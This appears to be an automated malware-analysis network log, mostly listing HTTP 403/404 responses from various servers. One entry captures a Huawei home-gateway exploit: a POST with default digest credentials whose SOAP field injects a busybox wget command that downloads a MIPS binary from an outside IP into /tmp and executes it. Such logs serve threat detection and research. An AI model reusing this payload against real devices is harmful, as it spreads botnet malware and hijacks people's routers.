Source: unknown

DNS traffic detected: queries for: tap1337.cfd

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Mar 2024 08:35:04 GMTContent-Type: text/htmlContent-Length: 4Connection: keep-aliveETag: "6554816b-4"Server: UNGX-01Data Raw: 34 30 33 0a Data Ascii: 403
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 13 Mar 2024 08:35:23 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:35:27 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL4</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:35:28 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:35:30 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:35:32 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:35:33 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.16.1Date: Wed, 13 Mar 2024 08:35:00 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "5f9e16e8-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:35:36 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:35:38 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:35:38 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CloudWAFDate: Wed, 13 Mar 2024 08:35:41 GMTContent-Type: text/htmlContent-Length: 2178Connection: keep-aliveETag: "65bfcd44-882"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 53 65 72 76 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6c 6f 75 64 57 41 46 22 20 2f 3e 3c 74 69 74 6c 65 20 69 64 3d 22 74 69 74 6c 65 22 3e e6 9c aa e6 89 be e5 88 b0 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 69 63 72 6f 73 6f 66 74 20 79 61 68 65 69 22 3e 3c 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 09 2e 62 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 72 65 6d 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 23 65 39 34 64 34 63 3b 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 35 70 78 20 35 70 78 20 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 e5 be ae e8 bd af e9 9b 85 e9 bb 91 2c e5 ae 8b e4 bd 93 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 72 65 6d 3b 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 6c 69 6e 65 61 72 20 30 2e 33 30 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 6c 69 6e 65 61 72 20 30 2e 33 30 73 3b 7d 2e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 39 34 64 34 63 3b 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 63 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 5a 68 28 29 22 20 76 61 6c 75 65 3d 22 e4 b8 ad e6 96 87 22 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 20 20 6f 6e 63 6c 69 63 6b 3d 22 63 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 45 6e 28 29 22 20 76 61 6c 75 65 3d 22 45 6e 67 6c 69 73 68 22 2f 3e 09 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 68 65 69 67 68 74 3a 31 33 2e 31 32 35 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 64 69 76 20 73 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0Date: Wed, 13 Mar 2024 08:35:45 GMTX-Frame-Options: sameoriginContent-Security-Policy: frame-ancestors 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; object-src 'self'Strict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: no-referrerpermissions-policy: fullscreen 'none'
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Thu, 01 Jan 1970 00:22:19 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:35:53 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:35:56 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:02 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 